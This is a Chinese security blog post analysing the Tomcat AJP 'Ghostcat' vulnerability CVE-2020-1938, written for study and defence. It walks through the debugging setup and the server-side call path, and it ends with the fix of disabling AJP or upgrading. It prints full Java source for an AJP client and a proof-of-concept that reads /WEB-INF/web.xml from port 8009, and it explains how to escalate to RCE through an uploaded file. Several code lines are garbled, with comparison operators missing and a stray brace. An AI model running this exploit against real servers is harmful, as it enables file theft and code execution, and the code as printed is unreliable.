Apache AJP 协议 CVE-2020-1938 漏洞分析
引言
最近CVE-2020-1938炒的比较热闹，前几天比较忙，今天抽空跟了一下这个漏洞，时间线上肯定比别的大佬晚很多了，所以就选择从环境搭建开始写的详细一点，对这个漏洞多少还有一些困惑的同学可以赏脸看上两眼吧。
环境搭建
这里使用的是tomcat8.0.52的测试环境，因为tomcat默认开启AJP协议，所以我们这边只需要配置好tomcat的远程debug环境就行。
1、找到catalina.sh去定义一下远程调试端口，我这里就使用了默认的5005端口。
if [ -z "$JPDA_ADDRESS" ]; then
JPDA_ADDRESS="localhost:5005"
fi
2、以调试模式开启tomcat，这里不推荐直接改动tomcat的默认启动模式，否则以后都会默认开启调试模式，因此推荐直接以调试模式开启tomcat。
sh catalina.sh jpda start
3、在idea的lib里导入tomcat的jar包，tomcat的jar都放在lib目录下，直接把lib都导进来就行。 
接下来在idea里开启tomcat的远程调试环境就部署完成。
AJP（Apache JServ Protocol）是定向包协议。它的功能其实和HTTP协议相似，区别在于AJP协议使用的是二进制格式传输文本，走的是TCP协议来SERVLET容器进行通信，因此漏洞的利用就需要依赖于一个客户端，而不能依赖于浏览器或是HTTP的抓包工具。
因为是java的漏洞，因此但从网上的py的poc很难看出AJP协议相关的很多东西，所以这里我们再去看一下用于发送AJP消息的java的客户端代码。客户端代码引自 0nise的GitHub 。
目录结构如下，因为代码需要依赖tomcat本身的AJP相关jar包，所以也要加入tomcat的lib， 
file:TesterAjpMessage.java
package com.glassy.utility;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.coyote.ajp.AjpMessage;
import org.apache.coyote.ajp.Constants;
import org.apache.juli.logging.Log;
import org.apache.juli.logging.LogFactory;
public class TesterAjpMessage extends AjpMessage {
private final Map attribute = new LinkedHashMap();
private final List headers = new ArrayList();
private static final Log log = LogFactory.getLog(AjpMessage.class);
private static class Header {
private final int code;
private final String name;
private final String value;
public Header(int code, String value) {
this.code = code;
this.name = null;
this.value = value;
}
public Header(String name, String value) {
this.code = 0;
this.name = name;
this.value = value;
}
public void append(TesterAjpMessage message) {
if (this.code == 0) {
message.appendString(this.name);
} else {
message.appendInt(this.code);
}
message.appendString(this.value);
}
}
public TesterAjpMessage(int packetSize) {
super(packetSize);
}
public byte[] raw() {
return this.buf;
}
public void appendString(String str) {
if (str == null) {
log.error(sm.getString("ajpmessage.null"), new NullPointerException());
this.appendInt(0);
this.appendByte(0);
} else {
int len = str.length();
this.appendInt(len);
for(int i = 0; i < len; ++i) {
char c = str.charAt(i);
if (c 255) {
c = ' ';
}
this.appendByte(c);
}
this.appendByte(0);
}
}
public byte readByte() {
byte[] bArr = this.buf;
int i = this.pos;
this.pos = i + 1;
return bArr[i];
}
public int readInt() {
byte[] bArr = this.buf;
int i = this.pos;
this.pos = i + 1;
int val = (bArr[i] & 255) << 8;
bArr = this.buf;
i = this.pos;
this.pos = i + 1;
return val + (bArr[i] & 255);
}
public String readString() {
return readString(readInt());
}
public String readString(int len) {
StringBuilder buffer = new StringBuilder(len);
for (int i = 0; i < len; i++) {
byte[] bArr = this.buf;
int i2 = this.pos;
this.pos = i2 + 1;
buffer.append((char) bArr[i2]);
}
readByte();
return buffer.toString();
}
public String readHeaderName() {
byte b = readByte();
if ((b & 255) == 160) {
return Constants.getResponseHeaderForCode(readByte());
}
return readString(((b & 255) << 8) + (getByte() & 255));
}
public void addHeader(int code, String value) {
this.headers.add(new Header(code, value));
}
public void addHeader(String name, String value) {
this.headers.add(new Header(name, value));
}
public void addAttribute(String name, String value) {
this.attribute.put(name, value);
}
public void end() {
appendInt(this.headers.size());
for (Header header : this.headers) {
header.append(this);
}
for (Entry entry : this.attribute.entrySet()) {
appendByte(10);
appendString((String) entry.getKey());
appendString((String) entry.getValue());
}
appendByte(255);
this.len = this.pos;
int dLen = this.len - 4;
this.buf[0] = (byte) 18;
this.buf[1] = (byte) 52;
this.buf[2] = (byte) ((dLen >>> 8) & 255);
this.buf[3] = (byte) (dLen & 255);
}
public void reset() {
super.reset();
this.headers.clear();
}
}
这个TesterAjpMessage.java文件就是一个tomcat本身用来处理AJP协议信息的AjpMessage类的子类，因为AjpMessage只支持发送bytes信息的缘故，代码丰富了TesterAjpMessage子类，使我们在构造客户端的时候支持appendString以及对Header的相关操作，更加方便。
file:SimpleAjpClient.java
import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;
import java.util.Arrays;
import javax.net.SocketFactory;
public class SimpleAjpClient {
private static final byte[] AJP_CPING;
private static final int AJP_PACKET_SIZE = 8192;
private String host = "localhost";
private int port = -1;
private Socket socket = null;
static {
TesterAjpMessage ajpCping = new TesterAjpMessage(16);
ajpCping.reset();
ajpCping.appendByte(10);
ajpCping.end();
AJP_CPING = new byte[ajpCping.getLen()];
System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());
}
public int getPort() {
return this.port;
}
public void connect(String host, int port) throws IOException {
this.host = host;
this.port = port;
this.socket = SocketFactory.getDefault().createSocket(host, port);
}
public void disconnect() throws IOException {
this.socket.close();
this.socket = null;
}
public TesterAjpMessage createForwardMessage(String url) {
return createForwardMessage(url, 2);
}
public TesterAjpMessage createForwardMessage(String url, int method) {
TesterAjpMessage message = new TesterAjpMessage(8192);
message.reset();
message.getBuffer()[0] = (byte) 18;
message.getBuffer()[1] = (byte) 52;
message.appendByte(2);
message.appendByte(method);
message.appendString("http");
message.appendString(url);
message.appendString("10.0.0.1");
message.appendString("client.dev.local");
message.appendString(this.host);
message.appendInt(this.port);
message.appendByte(0);
return message;
}
public TesterAjpMessage createBodyMessage(byte[] data) {
TesterAjpMessage message = new TesterAjpMessage(8192);
message.reset();
message.getBuffer()[0] = (byte) 18;
message.getBuffer()[1] = (byte) 52;
message.appendBytes(data, 0, data.length);
message.end();
return message;
}
public void sendMessage(TesterAjpMessage headers) throws IOException {
sendMessage(headers, null);
}
public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {
this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());
if (body != null) {
this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());
}
}
public byte[] readMessage() throws IOException {
InputStream is = this.socket.getInputStream();
TesterAjpMessage message = new TesterAjpMessage(8192);
byte[] buf = message.getBuffer();
int headerLength = message.getHeaderLength();
read(is, buf, 0, headerLength);
int messageLength = message.processHeader(false);
if (messageLength buf.length) {
throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");
}
read(is, buf, headerLength, messageLength);
return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);
}
}
protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {
int read = 0;
while (read 0) {
read += res;
} else {
throw new IOException("Read failed");
}
}
return true;
}
}
SimpleAjpClient便是发送AJP消息的客户端代码，支持服务端的连接与断开，支持对AJP消息头和消息体的构造。
关于整个AJP消息的消息头消息体怎么构造，消息头里面的code的值又是怎样额对应关系可以去参考 AJP协议总结与分析
漏洞分析
先看一下发送的恶意AJP消息包是怎么构造的，
file:Test.java
import com.glassy.utility.SimpleAjpClient;
import com.glassy.utility.TesterAjpMessage;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
public class Test {
public static void main(String[] args) throws IOException {
SimpleAjpClient ac = new SimpleAjpClient();
String host = "localhost";
int port = 8009;
String uri = "/aaa.jsp";
String file = "/WEB-INF/web.xml";
ac.connect(host, port);
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
while (true) {
byte[] responseBody = ac.readMessage();
if (responseBody == null || responseBody.length == 0) {
ac.disconnect();
} else {
System.out.print(new String(responseBody));
}
}
}
}
从构造的AJP消息包里可以看到，关于AJPMessage的核心内容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH，我们暂且在这里记下来，等我们打上断点的时候再去服务端看一看这些东西都是干什么的。
这个时候该开始思考动态调试的问题了，不同于以往的rce漏洞（统一往ProcessBuilder的start函数上打），关于断点往哪打就成了第一个关键的问题，我这边的处理方式是因为客户端代码里面使用了AjpMessage类，所以我就去看了一下这个类所在的jar包，果然就找到了tomcat的lib里负责处理AJP协议的类，
这些类看名字差不多就能想到去看一看几个Processor，漏洞的触发一定经过其中的一个，按照第一眼的直觉直接去看AjpProcessor，看到AjpProcessor类里面没有找到我们想要的东西，但是它有一个父类很值得注意，然后我去剩下的几个Processor,发现父类都是AbstractAjpProcessor，所以我就去看了一下这个类的代码，最终决定把断点打在了AbstractAjpProcessor类的process方法上，
跑一下客户端，果然处理AJP协议要经过这个方法，
在AbstractAjpProcessor类的process方法中this.prepareRequest()方法是要去关注一下的，这里面对request做了一些处理，
我们去看一下这个方法的代码，首先回顾一下TesterAjpMessage.java代码里的一处细节，method的值，
这prepareRequest种我们就拿到了这个值，并把request的method定义成了GET，这也和后面要交给Servlet的doGet方法有关系
紧接着进入一个swith循环中给request定义了ADDR、PORT、PROTOCOL，之前在客户端设置的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH也放到了request.include中,
接着就将request和response交给了CoyoteAdapter类来处理，
接下来就是一系列的反射，最终交给了JspServlet来处理这个请求，
在JspServlet的service方法中就看到了我们之前在利用代码里面定义的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH开始被用到了，
接下来的操作便是把jspUri交给了getResource去读取文件内容
在调用StandardRoot的getResource方法的时候会去调用validate方法对path进行检测
其中RequestUtil.normalize用于目录遍历的检测，所以我们是不能构造../模式的path的，
接下来就会造成文件读取了，总体的调用栈如下，
关于当存在任意文件上传的时候可以造成RCE的原理也是很简单的，我们看一下上面的调用栈，可以发现当我们读取了文件之后是交给了jspServlet去处理的，自然我们上传了jsp文件再通过该方法去读取文件内容的同时jspServlet也会去执行这个文件，利用jsp的去做文件包含从而造成RCE。
这里有一个很重要的点要回过来提一下，这里面我为了顺便讲解RCE的原理，所以我在定义Test.java中的uri变量的时候，给他赋值是xxx.jsp的形式，所以最好AJPProcessor最后是把Message交给了JspServlet来处理这个消息，其实这个漏洞还有第二条利用链，将uri定为xxx.xxx的形式，这样我们的AJPMessage是会交给DefaultServlet来处理的，但其实后面的流程是和前面区别不大的，就不再细说，
补充一下走DefaultServlet利用的调用栈，
修复建议
我这个漏洞的分析出的比较晚，相信修复方法大家也都知道了，我就顺便一提：
1、关闭AJP协议。 2、升级tomcat。
*本文作者：Glassy@平安银行应用安全团队，转载请注明来自FreeBuf.COM
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